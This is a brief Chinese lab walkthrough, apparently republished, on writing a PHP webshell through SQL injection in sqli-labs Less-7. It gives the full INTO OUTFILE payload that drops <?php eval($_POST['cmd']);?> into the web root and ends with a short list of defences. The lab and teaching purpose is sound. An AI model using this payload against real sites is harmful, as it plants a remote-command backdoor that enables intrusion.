結(jié)合PHP一句話木馬

利用outfile生成文件

利用條件
1、文件具有寫的條件
2、知道絕對路徑

以sql-lab第七關(guān)為例

http://192.168.3.10/sqli/Less-7/?id=1——》

http://192.168.3.10/sqli/Less-7/?id=1’ union select xxx into outfile ‘絕對路徑’ --+

——》http://192.168.3.10/sqli/Less-7/?id=1’ union select 1,2,’<?php eval($_POST["cmd"]);?>’ into outfile ‘D:\phpStudy\PHPTutorial\WWW\sqli\Less-7\kk.php’


查看一下生成的kk.php

防御：
不開啟寫條件
過濾
PDO

總結(jié)

以上是生活随笔為你收集整理的利用注入写Webshell（sql-lab第七关）的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。